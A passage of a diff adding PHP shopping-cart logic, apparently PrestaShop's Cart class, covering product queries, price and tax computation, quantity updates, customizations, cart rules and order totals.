($id_product) + $sql->where('cp.`id_product` = '.(int)$id_product); + $sql->where('p.`id_product` IS NOT NULL'); + + // Build GROUP BY + $sql->groupBy('unique_id'); + + // Build ORDER BY + $sql->orderBy('p.id_product, cp.id_product_attribute, cp.date_add ASC'); + + if (Customization::isFeatureActive()) + { + $sql->select('cu.`id_customization`, cu.`quantity` AS customization_quantity'); + $sql->leftJoin('customization', 'cu', + 'p.`id_product` = cu.`id_product` AND cp.`id_product_attribute` = cu.id_product_attribute AND cu.id_cart='.(int)$this->id); + } + else + $sql->select('NULL AS customization_quantity, NULL AS id_customization'); + + if (Combination::isFeatureActive()) + { + $sql->select(' + product_attribute_shop.`price` AS price_attribute, product_attribute_shop.`ecotax` AS ecotax_attr, + IF (IFNULL(pa.`reference`, \'\') = \'\', p.`reference`, pa.`reference`) AS reference, + (p.`weight`+ pa.`weight`) weight_attribute, + IF (IFNULL(pa.`ean13`, \'\') = \'\', p.`ean13`, pa.`ean13`) AS ean13, + IF (IFNULL(pa.`upc`, \'\') = \'\', p.`upc`, pa.`upc`) AS upc, + pai.`id_image` as pai_id_image, il.`legend` as pai_legend, + IFNULL(product_attribute_shop.`minimal_quantity`, product_shop.`minimal_quantity`) as minimal_quantity + '); + + $sql->leftJoin('product_attribute', 'pa', 'pa.`id_product_attribute` = cp.`id_product_attribute`'); + $sql->leftJoin('product_attribute_shop', 'product_attribute_shop', '(product_attribute_shop.id_shop=cp.id_shop AND product_attribute_shop.id_product_attribute = pa.id_product_attribute)'); + $sql->leftJoin('product_attribute_image', 'pai', 'pai.`id_product_attribute` = pa.`id_product_attribute`'); + $sql->leftJoin('image_lang', 'il', 'il.id_image = pai.id_image AND il.id_lang = '.(int)$this->id_lang); + } + else + $sql->select( + 'p.`reference` AS reference, p.`ean13`, + p.`upc` AS upc, product_shop.`minimal_quantity` AS minimal_quantity' + ); + $result = Db::getInstance()->executeS($sql); + + // Reset the cache before the following return, or else an empty cart will add dozens of queries + $products_ids = array(); + $pa_ids = array(); + if ($result) + foreach ($result as $row) + { + $products_ids[] = $row['id_product']; + $pa_ids[] = $row['id_product_attribute']; + } + // Thus you can avoid one query per product, because there will be only one query for all the products of the cart + Product::cacheProductsFeatures($products_ids); + Cart::cacheSomeAttributesLists($pa_ids, $this->id_lang); + + $this->_products = array(); + if (empty($result)) + return array(); + + $cart_shop_context = Context::getContext()->cloneContext(); + foreach ($result as &$row) + { + if (isset($row['ecotax_attr']) && $row['ecotax_attr'] > 0) + $row['ecotax'] = (float)$row['ecotax_attr']; + + $row['stock_quantity'] = (int)$row['quantity']; + // for compatibility with 1.2 themes + $row['quantity'] = (int)$row['cart_quantity']; + + if (isset($row['id_product_attribute']) && (int)$row['id_product_attribute'] && isset($row['weight_attribute'])) + $row['weight'] = (float)$row['weight_attribute']; + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_invoice') + $address_id = (int)$this->id_address_invoice; + else + $address_id = (int)$row['id_address_delivery']; + if (!Address::addressExists($address_id)) + $address_id = null; + + if ($cart_shop_context->shop->id != $row['id_shop']) + $cart_shop_context->shop = new Shop((int)$row['id_shop']); + + if ($this->_taxCalculationMethod == PS_TAX_EXC) + { + $row['price'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + isset($row['id_product_attribute']) ? (int)$row['id_product_attribute'] : null, + 2, + null, + false, + true, + (int)$row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $specific_price_output, + true, + true, + $cart_shop_context + ); // Here taxes are computed only once the quantity has been applied to the product price + + $row['price_wt'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + isset($row['id_product_attribute']) ? (int)$row['id_product_attribute'] : null, + 2, + null, + false, + true, + (int)$row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $cart_shop_context + ); + + $tax_rate = Tax::getProductTaxRate((int)$row['id_product'], (int)$address_id); + + $row['total_wt'] = Tools::ps_round($row['price'] * (float)$row['cart_quantity'] * (1 + (float)$tax_rate / 100), 2); + $row['total'] = $row['price'] * (int)$row['cart_quantity']; + } + else + { + $row['price'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + (int)$row['id_product_attribute'], + 2, + null, + false, + true, + $row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $specific_price_output, + true, + true, + $cart_shop_context + ); + + $row['price_wt'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + (int)$row['id_product_attribute'], + 2, + null, + false, + true, + $row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $cart_shop_context + ); + + // In case when you use QuantityDiscount, getPriceStatic() can be return more of 2 decimals + $row['price_wt'] = Tools::ps_round($row['price_wt'], 2); + $row['total_wt'] = $row['price_wt'] * (int)$row['cart_quantity']; + $row['total'] = Tools::ps_round($row['price'] * (int)$row['cart_quantity'], 2); + } + + if (!isset($row['pai_id_image']) || $row['pai_id_image'] == 0) + { + $row2 = Db::getInstance()->getRow(' + SELECT image_shop.`id_image` id_image, il.`legend` + FROM `'._DB_PREFIX_.'image` i'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$this->id_lang.') + WHERE i.`id_product` = '.(int)$row['id_product'].' AND image_shop.`cover` = 1' + ); + + if (!$row2) + $row2 = array('id_image' => false, 'legend' => false); + else + $row = array_merge($row, $row2); + } + else + { + $row['id_image'] = $row['pai_id_image']; + $row['legend'] = $row['pai_legend']; + } + + $row['reduction_applies'] = ($specific_price_output && (float)$specific_price_output['reduction']); + $row['quantity_discount_applies'] = ($specific_price_output && $row['cart_quantity'] >= (int)$specific_price_output['from_quantity']); + $row['id_image'] = Product::defineProductImage($row, $this->id_lang); + $row['allow_oosp'] = Product::isAvailableWhenOutOfStock($row['out_of_stock']); + $row['features'] = Product::getFeaturesStatic((int)$row['id_product']); + + if (array_key_exists($row['id_product_attribute'].'-'.$this->id_lang, self::$_attributesLists)) + $row = array_merge($row, self::$_attributesLists[$row['id_product_attribute'].'-'.$this->id_lang]); + + $row = Product::getTaxesInformations($row, $cart_shop_context); + + $this->_products[] = $row; + } + + return $this->_products; + } + + public static function cacheSomeAttributesLists($ipa_list, $id_lang) + { + if (!Combination::isFeatureActive()) + return; + + $pa_implode = array(); + + foreach ($ipa_list as $id_product_attribute) + if ((int)$id_product_attribute && !array_key_exists($id_product_attribute.'-'.$id_lang, self::$_attributesLists)) + { + $pa_implode[] = (int)$id_product_attribute; + self::$_attributesLists[(int)$id_product_attribute.'-'.$id_lang] = array('attributes' => '', 'attributes_small' => ''); + } + + if (!count($pa_implode)) + return; + + $result = Db::getInstance()->executeS(' + SELECT pac.`id_product_attribute`, agl.`public_name` AS public_group_name, al.`name` AS attribute_name + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON ( + a.`id_attribute` = al.`id_attribute` + AND al.`id_lang` = '.(int)$id_lang.' + ) + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON ( + ag.`id_attribute_group` = agl.`id_attribute_group` + AND agl.`id_lang` = '.(int)$id_lang.' + ) + WHERE pac.`id_product_attribute` IN ('.implode($pa_implode, ',').') + ORDER BY agl.`public_name` ASC' + ); + + foreach ($result as $row) + { + self::$_attributesLists[$row['id_product_attribute'].'-'.$id_lang]['attributes'] .= $row['public_group_name'].' : '.$row['attribute_name'].', '; + self::$_attributesLists[$row['id_product_attribute'].'-'.$id_lang]['attributes_small'] .= $row['attribute_name'].', '; + } + + foreach ($pa_implode as $id_product_attribute) + { + self::$_attributesLists[$id_product_attribute.'-'.$id_lang]['attributes'] = rtrim( + self::$_attributesLists[$id_product_attribute.'-'.$id_lang]['attributes'], + ', ' + ); + + self::$_attributesLists[$id_product_attribute.'-'.$id_lang]['attributes_small'] = rtrim( + self::$_attributesLists[$id_product_attribute.'-'.$id_lang]['attributes_small'], + ', ' + ); + } + } + + /** + * Return cart products quantity + * + * @result integer Products quantity + */ + public function nbProducts() + { + if (!$this->id) + return 0; + + return Cart::getNbProducts($this->id); + } + + public static function getNbProducts($id) + { + // Must be strictly compared to NULL, or else an empty cart will bypass the cache and add dozens of queries + if (isset(self::$_nbProducts[$id]) && self::$_nbProducts[$id] !== null) + return self::$_nbProducts[$id]; + + self::$_nbProducts[$id] = (int)Db::getInstance()->getValue(' + SELECT SUM(`quantity`) + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_cart` = '.(int)$id + ); + + return self::$_nbProducts[$id]; + } + + /** + * @deprecated 1.5.0, use Cart->addCartRule() + */ + public function addDiscount($id_cart_rule) + { + Tools::displayAsDeprecated(); + return $this->addCartRule($id_cart_rule); + } + + public function addCartRule($id_cart_rule) + { + // You can't add a cart rule that does not exist + $cartRule = new CartRule($id_cart_rule, Context::getContext()->language->id); + if (!Validate::isLoadedObject($cartRule)) + return false; + + // Add the cart rule to the cart + if (!Db::getInstance()->insert('cart_cart_rule', array( + 'id_cart_rule' => (int)$id_cart_rule, + 'id_cart' => (int)$this->id + ))) + return false; + + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_ALL); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_SHIPPING); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_REDUCTION); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_GIFT); + + if ((int)$cartRule->gift_product) + $this->updateQty(1, $cartRule->gift_product, $cartRule->gift_product_attribute, false, 'up', 0, null, false); + + return true; + } + + public function containsProduct($id_product, $id_product_attribute = 0, $id_customization = false, $id_address_delivery = 0) + { + $sql = 'SELECT cp.`quantity` FROM `'._DB_PREFIX_.'cart_product` cp'; + + if ($id_customization) + $sql .= ' + LEFT JOIN `'._DB_PREFIX_.'customization` c ON ( + c.`id_product` = cp.`id_product` + AND c.`id_product_attribute` = cp.`id_product_attribute` + )'; + + $sql .= ' + WHERE cp.`id_product` = '.(int)$id_product.' + AND cp.`id_product_attribute` = '.(int)$id_product_attribute.' + AND cp.`id_cart` = '.(int)$this->id; + if (Configuration::get('PS_ALLOW_MULTISHIPPING') && $this->isMultiAddressDelivery()) + $sql .= ' AND cp.`id_address_delivery` = '.(int)$id_address_delivery; + + if ($id_customization) + $sql .= ' AND c.`id_customization` = '.(int)$id_customization; + + return Db::getInstance()->getRow($sql); + } + + /** + * Update product quantity + * + * @param integer $quantity Quantity to add (or substract) + * @param integer $id_product Product ID + * @param integer $id_product_attribute Attribute ID if needed + * @param string $operator Indicate if quantity must be increased or decreased + */ + public function updateQty($quantity, $id_product, $id_product_attribute = null, $id_customization = false, + $operator = 'up', $id_address_delivery = 0, Shop $shop = null, $auto_add_cart_rule = true) + { + if (!$shop) + $shop = Context::getContext()->shop; + + if (Context::getContext()->customer->id) + { + if ($id_address_delivery == 0 && (int)$this->id_address_delivery) // The $id_address_delivery is null, use the cart delivery address + $id_address_delivery = $this->id_address_delivery; + elseif ($id_address_delivery == 0) // The $id_address_delivery is null, get the default customer address + $id_address_delivery = (int)Address::getFirstCustomerAddressId((int)Context::getContext()->customer->id); + elseif (!Customer::customerHasAddress(Context::getContext()->customer->id, $id_address_delivery)) // The $id_address_delivery must be linked with customer + $id_address_delivery = 0; + } + + $quantity = (int)$quantity; + $id_product = (int)$id_product; + $id_product_attribute = (int)$id_product_attribute; + $product = new Product($id_product, false, Configuration::get('PS_LANG_DEFAULT'), $shop->id); + + if ($id_product_attribute) + { + $combination = new Combination((int)$id_product_attribute); + if ($combination->id_product != $id_product) + return false; + } + + /* If we have a product combination, the minimal quantity is set with the one of this combination */ + if (!empty($id_product_attribute)) + $minimal_quantity = (int)Attribute::getAttributeMinimalQty($id_product_attribute); + else + $minimal_quantity = (int)$product->minimal_quantity; + + if (!Validate::isLoadedObject($product)) + die(Tools::displayError()); + + if (isset(self::$_nbProducts[$this->id])) + unset(self::$_nbProducts[$this->id]); + + if (isset(self::$_totalWeight[$this->id])) + unset(self::$_totalWeight[$this->id]); + + if ((int)$quantity <= 0) + return $this->deleteProduct($id_product, $id_product_attribute, (int)$id_customization); + elseif (!$product->available_for_order || Configuration::get('PS_CATALOG_MODE')) + return false; + else + { + /* Check if the product is already in the cart */ + $result = $this->containsProduct($id_product, $id_product_attribute, (int)$id_customization, (int)$id_address_delivery); + + /* Update quantity if product already exist */ + if ($result) + { + if ($operator == 'up') + { + $sql = 'SELECT stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity + FROM '._DB_PREFIX_.'product p + '.Product::sqlStock('p', $id_product_attribute, true, $shop).' + WHERE p.id_product = '.$id_product; + + $result2 = Db::getInstance()->getRow($sql); + $product_qty = (int)$result2['quantity']; + // Quantity for product pack + if (Pack::isPack($id_product)) + $product_qty = Pack::getQuantity($id_product, $id_product_attribute); + $new_qty = (int)$result['quantity'] + (int)$quantity; + $qty = '+ '.(int)$quantity; + + if (!Product::isAvailableWhenOutOfStock((int)$result2['out_of_stock'])) + if ($new_qty > $product_qty) + return false; + } + else if ($operator == 'down') + { + $qty = '- '.(int)$quantity; + $new_qty = (int)$result['quantity'] - (int)$quantity; + if ($new_qty < $minimal_quantity && $minimal_quantity > 1) + return -1; + } + else + return false; + + /* Delete product from cart */ + if ($new_qty <= 0) + return $this->deleteProduct((int)$id_product, (int)$id_product_attribute, (int)$id_customization); + else if ($new_qty < $minimal_quantity) + return -1; + else + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cart_product` + SET `quantity` = `quantity` '.$qty.', `date_add` = NOW() + WHERE `id_product` = '.(int)$id_product. + (!empty($id_product_attribute) ? ' AND `id_product_attribute` = '.(int)$id_product_attribute : '').' + AND `id_cart` = '.(int)$this->id.(Configuration::get('PS_ALLOW_MULTISHIPPING') && $this->isMultiAddressDelivery() ? ' AND `id_address_delivery` = '.(int)$id_address_delivery : '').' + LIMIT 1' + ); + } + /* Add product to the cart */ + elseif ($operator == 'up') + { + $sql = 'SELECT stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity + FROM '._DB_PREFIX_.'product p + '.Product::sqlStock('p', $id_product_attribute, true, $shop).' + WHERE p.id_product = '.$id_product; + + $result2 = Db::getInstance()->getRow($sql); + + // Quantity for product pack + if (Pack::isPack($id_product)) + $result2['quantity'] = Pack::getQuantity($id_product, $id_product_attribute); + + if (!Product::isAvailableWhenOutOfStock((int)$result2['out_of_stock'])) + if ((int)$quantity > $result2['quantity']) + return false; + + if ((int)$quantity < $minimal_quantity) + return -1; + + $result_add = Db::getInstance()->insert('cart_product', array( + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute, + 'id_cart' => (int)$this->id, + 'id_address_delivery' => (int)$id_address_delivery, + 'id_shop' => $shop->id, + 'quantity' => (int)$quantity, + 'date_add' => date('Y-m-d H:i:s') + )); + + if (!$result_add) + return false; + } + } + + // refresh cache of self::_products + $this->_products = $this->getProducts(true); + $this->update(true); + $context = Context::getContext()->cloneContext(); + $context->cart = $this; + Cache::clean('getContextualValue_*'); + if ($auto_add_cart_rule) + CartRule::autoAddToCart($context); + + if ($product->customizable) + return $this->_updateCustomizationQuantity((int)$quantity, (int)$id_customization, (int)$id_product, (int)$id_product_attribute, (int)$id_address_delivery, $operator); + else + return true; + } + + /* + ** Customization management + */ + protected function _updateCustomizationQuantity($quantity, $id_customization, $id_product, $id_product_attribute, $id_address_delivery, $operator = 'up') + { + // Link customization to product combination when it is first added to cart + if (empty($id_customization)) + { + $customization = $this->getProductCustomization($id_product, null, true); + foreach ($customization as $field) + { + if ($field['quantity'] == 0) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'customization` + SET `quantity` = '.(int)$quantity.', + `id_product_attribute` = '.(int)$id_product_attribute.', + `id_address_delivery` = '.(int)$id_address_delivery.', + `in_cart` = 1 + WHERE `id_customization` = '.(int)$field['id_customization']); + } + } + } + + /* Deletion */ + if (!empty($id_customization) && (int)$quantity < 1) + return $this->_deleteCustomization((int)$id_customization, (int)$id_product, (int)$id_product_attribute); + + /* Quantity update */ + if (!empty($id_customization)) + { + $result = Db::getInstance()->getRow('SELECT `quantity` FROM `'._DB_PREFIX_.'customization` WHERE `id_customization` = '.(int)$id_customization); + if ($result && Db::getInstance()->NumRows()) + { + if ($operator == 'down' && (int)$result['quantity'] - (int)$quantity < 1) + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'customization` WHERE `id_customization` = '.(int)$id_customization); + + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'customization` + SET + `quantity` = `quantity` '.($operator == 'up' ? '+ ' : '- ').(int)$quantity.', + `id_address_delivery` = '.(int)$id_address_delivery.' + WHERE `id_customization` = '.(int)$id_customization); + } + else + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'customization` + SET `id_address_delivery` = '.(int)$id_address_delivery.' + WHERE `id_customization` = '.(int)$id_customization); + } + // refresh cache of self::_products + $this->_products = $this->getProducts(true); + $this->update(true); + return true; + } + + /** + * Add customization item to database + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $index + * @param int $type + * @param string $field + * @param int $quantity + * @return boolean success + */ + public function _addCustomization($id_product, $id_product_attribute, $index, $type, $field, $quantity) + { + $exising_customization = Db::getInstance()->executeS(' + SELECT cu.`id_customization`, cd.`index`, cd.`value`, cd.`type` FROM `'._DB_PREFIX_.'customization` cu + LEFT JOIN `'._DB_PREFIX_.'customized_data` cd + ON cu.`id_customization` = cd.`id_customization` + WHERE cu.id_cart = '.(int)$this->id.' + AND cu.id_product = '.(int)$id_product.' + AND in_cart = 0' + ); + + if ($exising_customization) + { + // If the customization field is alreay filled, delete it + foreach ($exising_customization as $customization) + { + if ($customization['type'] == $type && $customization['index'] == $index) + { + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'customized_data` + WHERE id_customization = '.(int)$customization['id_customization'].' + AND type = '.(int)$customization['type'].' + AND `index` = '.(int)$customization['index']); + if ($type == Product::CUSTOMIZE_FILE) + { + @unlink(_PS_UPLOAD_DIR_.$customization['value']); + @unlink(_PS_UPLOAD_DIR_.$customization['value'].'_small'); + } + break; + } + } + $id_customization = $exising_customization[0]['id_customization']; + } + else + { + Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'customization` (`id_cart`, `id_product`, `id_product_attribute`, `quantity`) + VALUES ('.(int)$this->id.', '.(int)$id_product.', '.(int)$id_product_attribute.', '.(int)$quantity.')' + ); + $id_customization = Db::getInstance()->Insert_ID(); + } + + $query = 'INSERT INTO `'._DB_PREFIX_.'customized_data` (`id_customization`, `type`, `index`, `value`) + VALUES ('.(int)$id_customization.', '.(int)$type.', '.(int)$index.', \''.pSql($field).'\')'; + + if (!Db::getInstance()->execute($query)) + return false; + return true; + } + + /** + * Check if order has already been placed + * + * @return boolean result + */ + public function orderExists() + { + return (bool)Db::getInstance()->getValue('SELECT count(*) FROM `'._DB_PREFIX_.'orders` WHERE `id_cart` = '.(int)$this->id); + } + + /** + * @deprecated 1.5.0, use Cart->removeCartRule() + */ + public function deleteDiscount($id_cart_rule) + { + Tools::displayAsDeprecated(); + return $this->removeCartRule($id_cart_rule); + } + + public function removeCartRule($id_cart_rule) + { + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_ALL); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_SHIPPING); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_REDUCTION); + Cache::clean('Cart::getCartRules'.$this->id.'-'.CartRule::FILTER_ACTION_GIFT); + + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_cart_rule` + WHERE `id_cart_rule` = '.(int)$id_cart_rule.' + AND `id_cart` = '.(int)$this->id.' + LIMIT 1'); + + $cart_rule = new CartRule($id_cart_rule, Configuration::get('PS_LANG_DEFAULT')); + if ((int)$cart_rule->gift_product) + $this->updateQty(1, $cart_rule->gift_product, $cart_rule->gift_product_attribute, null, 'down', 0, null, false); + + return $result; + } + + /** + * Delete a product from the cart + * + * @param integer $id_product Product ID + * @param integer $id_product_attribute Attribute ID if needed + * @param integer $id_customization Customization id + * @return boolean result + */ + public function deleteProduct($id_product, $id_product_attribute = null, $id_customization = null, $id_address_delivery = 0) + { + if (isset(self::$_nbProducts[$this->id])) + unset(self::$_nbProducts[$this->id]); + + if (isset(self::$_totalWeight[$this->id])) + unset(self::$_totalWeight[$this->id]); + + if ((int)$id_customization) + { + $product_total_quantity = (int)Db::getInstance()->getValue( + 'SELECT `quantity` + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_product` = '.(int)$id_product.' + AND `id_cart` = '.(int)$this->id.' + AND `id_product_attribute` = '.(int)$id_product_attribute); + + $customization_quantity = (int)Db::getInstance()->getValue(' + SELECT `quantity` + FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart` = '.(int)$this->id.' + AND `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute.' + '.((int)$id_address_delivery ? 'AND `id_address_delivery` = '.(int)$id_address_delivery : '')); + + if (!$this->_deleteCustomization((int)$id_customization, (int)$id_product, (int)$id_product_attribute, (int)$id_address_delivery)) + return false; + + // refresh cache of self::_products + $this->_products = $this->getProducts(true); + return ($customization_quantity == $product_total_quantity && $this->deleteProduct((int)$id_product, (int)$id_product_attribute, null, (int)$id_address_delivery)); + } + + /* Get customization quantity */ + $result = Db::getInstance()->getRow(' + SELECT SUM(`quantity`) AS \'quantity\' + FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart` = '.(int)$this->id.' + AND `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute); + + if ($result === false) + return false; + + /* If the product still possesses customization it does not have to be deleted */ + if (Db::getInstance()->NumRows() && (int)$result['quantity']) + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cart_product` + SET `quantity` = '.(int)$result['quantity'].' + WHERE `id_cart` = '.(int)$this->id.' + AND `id_product` = '.(int)$id_product. + ($id_product_attribute != null ? ' AND `id_product_attribute` = '.(int)$id_product_attribute : '') + ); + + /* Product deletion */ + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_product` = '.(int)$id_product.' + '.(!is_null($id_product_attribute) ? ' AND `id_product_attribute` = '.(int)$id_product_attribute : '').' + AND `id_cart` = '.(int)$this->id.' + '.((int)$id_address_delivery ? 'AND `id_address_delivery` = '.(int)$id_address_delivery : '')); + + if ($result) + { + $return = $this->update(true); + // refresh cache of self::_products + $this->_products = $this->getProducts(true); + CartRule::autoRemoveFromCart(); + CartRule::autoAddToCart(); + + return $return; + } + + return false; + } + + /** + * Delete a customization from the cart. If customization is a Picture, + * then the image is also deleted + * + * @param integer $id_customization + * @return boolean result + */ + protected function _deleteCustomization($id_customization, $id_product, $id_product_attribute, $id_address_delivery = 0) + { + $result = true; + $customization = Db::getInstance()->getRow('SELECT * + FROM `'._DB_PREFIX_.'customization` + WHERE `id_customization` = '.(int)$id_customization); + + if ($customization) + { + $cust_data = Db::getInstance()->getRow('SELECT * + FROM `'._DB_PREFIX_.'customized_data` + WHERE `id_customization` = '.(int)$id_customization); + + // Delete customization picture if necessary + if (isset($cust_data['type']) && $cust_data['type'] == 0) + $result &= (@unlink(_PS_UPLOAD_DIR_.$cust_data['value']) && @unlink(_PS_UPLOAD_DIR_.$cust_data['value'].'_small')); + + $result &= Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customized_data` + WHERE `id_customization` = '.(int)$id_customization + ); + + if ($result) + $result &= Db::getInstance()->execute( + 'UPDATE `'._DB_PREFIX_.'cart_product` + SET `quantity` = `quantity` - '.(int)$customization['quantity'].' + WHERE `id_cart` = '.(int)$this->id.' + AND `id_product` = '.(int)$id_product. + ((int)$id_product_attribute ? ' AND `id_product_attribute` = '.(int)$id_product_attribute : '').' + AND `id_address_delivery` = '.(int)$id_address_delivery + ); + + if (!$result) + return false; + + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization` + WHERE `id_customization` = '.(int)$id_customization + ); + } + + return true; + } + + public static function getTotalCart($id_cart, $use_tax_display = false, $type = CART::BOTH) + { + $cart = new Cart($id_cart); + if (!Validate::isLoadedObject($cart)) + die(Tools::displayError()); + + $with_taxes = $use_tax_display ? $cart->_taxCalculationMethod != PS_TAX_EXC : true; + return Tools::displayPrice($cart->getOrderTotal($with_taxes, $type), Currency::getCurrencyInstance((int)$cart->id_currency), false); + } + + + public static function getOrderTotalUsingTaxCalculationMethod($id_cart) + { + return Cart::getTotalCart($id_cart, true); + } + + /** + * This function returns the total cart amount + * + * Possible values for $type: + * Cart::ONLY_PRODUCTS + * Cart::ONLY_DISCOUNTS + * Cart::BOTH + * Cart::BOTH_WITHOUT_SHIPPING + * Cart::ONLY_SHIPPING + * Cart::ONLY_WRAPPING + * Cart::ONLY_PRODUCTS_WITHOUT_SHIPPING + * Cart::ONLY_PHYSICAL_PRODUCTS_WITHOUT_SHIPPING + * + * @param boolean $withTaxes With or without taxes + * @param integer $type Total type + * @param boolean $use_cache Allow using cache of the method CartRule::getContextualValue + * @return float Order total + */ + public function getOrderTotal($with_taxes = true, $type = Cart::BOTH, $products = null, $id_carrier = null, $use_cache = true) + { + if (!$this->id) + return 0; + + $type = (int)$type; + $array_type = array( + Cart::ONLY_PRODUCTS, + Cart::ONLY_DISCOUNTS, + Cart::BOTH, + Cart::BOTH_WITHOUT_SHIPPING, + Cart::ONLY_SHIPPING, + Cart::ONLY_WRAPPING, + Cart::ONLY_PRODUCTS_WITHOUT_SHIPPING, + Cart::ONLY_PHYSICAL_PRODUCTS_WITHOUT_SHIPPING, + ); + + // Define virtual context to prevent case where the cart is not the in the global context + $virtual_context = Context::getContext()->cloneContext(); + $virtual_context->cart = $this; + + if (!in_array($type, $array_type)) + die(Tools::displayError()); + + $with_shipping = in_array($type, array(Cart::BOTH, Cart::ONLY_SHIPPING)); + + // if cart rules are not used + if ($type == Cart::ONLY_DISCOUNTS && !CartRule::isFeatureActive()) + return 0; + + // no shipping cost if is a cart with only virtuals products + $virtual = $this->isVirtualCart(); + if ($virtual && $type == Cart::ONLY_SHIPPING) + return 0; + + if ($virtual && $type == Cart::BOTH) + $type = Cart::BOTH_WITHOUT_SHIPPING; + + if ($with_shipping) + { + if (is_null($products) && is_null($id_carrier)) + $shipping_fees = $this->getTotalShippingCost(null, (boolean)$with_taxes); + else + $shipping_fees = $this->getPackageShippingCost($id_carrier, (int)$with_taxes, null, $products); + } + else + $shipping_fees = 0; + + if ($type == Cart::ONLY_SHIPPING) + return $shipping_fees; + + if ($type == Cart::ONLY_PRODUCTS_WITHOUT_SHIPPING) + $type = Cart::ONLY_PRODUCTS; + + $param_product = true; + if (is_null($products)) + { + $param_product = false; + $products = $this->getProducts(); + } + + if ($type == Cart::ONLY_PHYSICAL_PRODUCTS_WITHOUT_SHIPPING) + { + foreach ($products as $key => $product) + if ($product['is_virtual']) + unset($products[$key]); + $type = Cart::ONLY_PRODUCTS; + } + + $order_total = 0; + if (Tax::excludeTaxeOption()) + $with_taxes = false; + + foreach ($products as $product) // products refer to the cart details + { + if ($virtual_context->shop->id != $product['id_shop']) + $virtual_context->shop = new Shop((int)$product['id_shop']); + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_invoice') + $address_id = (int)$this->id_address_invoice; + else + $address_id = (int)$product['id_address_delivery']; // Get delivery address of the product from the cart + if (!Address::addressExists($address_id)) + $address_id = null; + + if ($this->_taxCalculationMethod == PS_TAX_EXC) + { + // Here taxes are computed only once the quantity has been applied to the product price + $price = Product::getPriceStatic( + (int)$product['id_product'], + false, + (int)$product['id_product_attribute'], + 2, + null, + false, + true, + $product['cart_quantity'], + false, + (int)$this->id_customer ? (int)$this->id_customer : null, + (int)$this->id, + $address_id, + $null, + true, + true, + $virtual_context + ); + + $total_ecotax = $product['ecotax'] * (int)$product['cart_quantity']; + $total_price = $price * (int)$product['cart_quantity']; + + if ($with_taxes) + { + $product_tax_rate = (float)Tax::getProductTaxRate((int)$product['id_product'], (int)$address_id, $virtual_context); + $product_eco_tax_rate = Tax::getProductEcotaxRate((int)$address_id); + + $total_price = ($total_price - $total_ecotax) * (1 + $product_tax_rate / 100); + $total_ecotax = $total_ecotax * (1 + $product_eco_tax_rate / 100); + $total_price = Tools::ps_round($total_price + $total_ecotax, 2); + } + } + else + { + if ($with_taxes) + $price = Product::getPriceStatic( + (int)$product['id_product'], + true, + (int)$product['id_product_attribute'], + 2, + null, + false, + true, + $product['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $virtual_context + ); + else + $price = Product::getPriceStatic( + (int)$product['id_product'], + false, + (int)$product['id_product_attribute'], + 2, + null, + false, + true, + $product['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + 